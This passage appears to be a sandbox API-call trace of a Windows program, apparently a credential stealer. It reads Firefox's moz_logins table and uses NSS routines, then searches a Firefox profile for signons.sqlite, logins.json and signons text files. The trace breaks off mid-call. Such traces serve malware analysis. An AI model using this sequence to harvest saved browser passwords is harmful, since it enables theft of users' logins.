IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.970] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x721848 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.970] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.970] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x73cc70 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x74d860 [0047.971] LocalFree (hMem=0x7175a0) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x7548d0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0x7548d0) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0047.971] LocalFree (hMem=0x7548d0) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74fba8 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fba8) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fc40 [0047.971] LocalFree (hMem=0x74fba8) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74fba8 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fce0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.971] IStream:LockRegion (This=0x76dfb8, libOffset=0x3a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.971] IStream:SetSize (This=0x76dfb8, libNewSize=0x74fce0) returned 0x0 [0047.971] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x74fdc0 [0047.971] LocalFree (hMem=0x74fce0) returned 0x0 [0047.971] LocalFree (hMem=0x721848) returned 0x0 [0047.971] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.971] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.971] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0047.972] LocalFree (hMem=0x74d860) returned 0x0 [0047.972] LocalFree (hMem=0x750820) returned 0x0 [0047.972] LocalFree (hMem=0x74fc40) returned 0x0 [0047.972] LocalFree (hMem=0x74fba8) returned 0x0 [0047.972] LocalFree (hMem=0x74fdc0) returned 0x0 [0047.972] LocalFree (hMem=0x73cc70) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x7a76, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x7a76, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x7a77, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.972] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.972] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76df40, libOffset=0x7a78, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.972] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.972] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x716ef8 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.972] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.972] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.972] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0047.972] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0047.973] LocalFree (hMem=0x7175a0) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x74d860 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0047.973] LocalFree (hMem=0x74d860) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74d860 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fba8 [0047.973] LocalFree (hMem=0x74d860) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74d860 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756a60 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x2b, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76dfb8, libNewSize=0x756a60) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a800 [0047.973] LocalFree (hMem=0x756a60) returned 0x0 [0047.973] LocalFree (hMem=0x716ef8) returned 0x0 [0047.973] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.973] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.973] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0047.973] LocalFree (hMem=0x73cc70) returned 0x0 [0047.973] LocalFree (hMem=0x758820) returned 0x0 [0047.973] LocalFree (hMem=0x74fba8) returned 0x0 [0047.973] LocalFree (hMem=0x74d860) returned 0x0 [0047.973] LocalFree (hMem=0x74a800) returned 0x0 [0047.973] LocalFree (hMem=0x721848) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x7a09, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x7a09, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x7a0a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.973] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.973] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.973] IStream:LockRegion (This=0x76df40, libOffset=0x7a0b, cb=0x0, dwLockType=0x0) returned 0x0 [0047.973] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.973] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.973] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.973] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0047.974] LocalFree (hMem=0x7175a0) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x74d860 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x758820 [0047.974] LocalFree (hMem=0x74d860) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74d860 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fba8 [0047.974] LocalFree (hMem=0x74d860) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74d860 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a800 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.974] IStream:LockRegion (This=0x76dfb8, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0047.974] IStream:SetSize (This=0x76dfb8, libNewSize=0x74a800) returned 0x0 [0047.974] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x74fc48 [0047.974] LocalFree (hMem=0x74a800) returned 0x0 [0047.975] LocalFree (hMem=0x716ef8) returned 0x0 [0047.975] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.975] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.975] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0047.975] LocalFree (hMem=0x73cc70) returned 0x0 [0047.975] LocalFree (hMem=0x758820) returned 0x0 [0047.975] LocalFree (hMem=0x74fba8) returned 0x0 [0047.975] LocalFree (hMem=0x74d860) returned 0x0 [0047.975] LocalFree (hMem=0x74fc48) returned 0x0 [0047.975] LocalFree (hMem=0x721848) returned 0x0 [0047.975] LocalFree (hMem=0x7c0838) returned 0x0 [0047.975] IUnknown:Release (This=0x76df40) returned 0x0 [0047.975] PK11_FreeSlot () returned 0x932d000 [0047.975] NSS_Shutdown () returned 0x0 [0047.978] LocalFree (hMem=0x74d998) returned 0x0 [0047.978] lstrlenA (lpString="signons.sqlite") returned 14 [0047.978] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0047.978] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.978] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.978] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0047.978] lstrlenA (lpString="times.json") returned 10 [0047.978] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0047.978] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0047.978] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.978] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0047.978] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0047.978] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0047.978] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0047.978] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0047.979] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0047.979] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0047.979] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0047.979] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.979] lstrlenA (lpString="\\") returned 1 [0047.979] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74d860 [0047.979] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.979] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.979] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.979] lstrlenA (lpString="webapps") returned 7 [0047.979] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fba8 [0047.979] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.979] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0047.979] LocalFree (hMem=0x74d860) returned 0x0 [0047.979] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0047.979] lstrlenA (lpString="\\*.*") returned 4 [0047.979] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x74d860 [0047.979] lstrcpyA (in: lpString1=0x74d860, 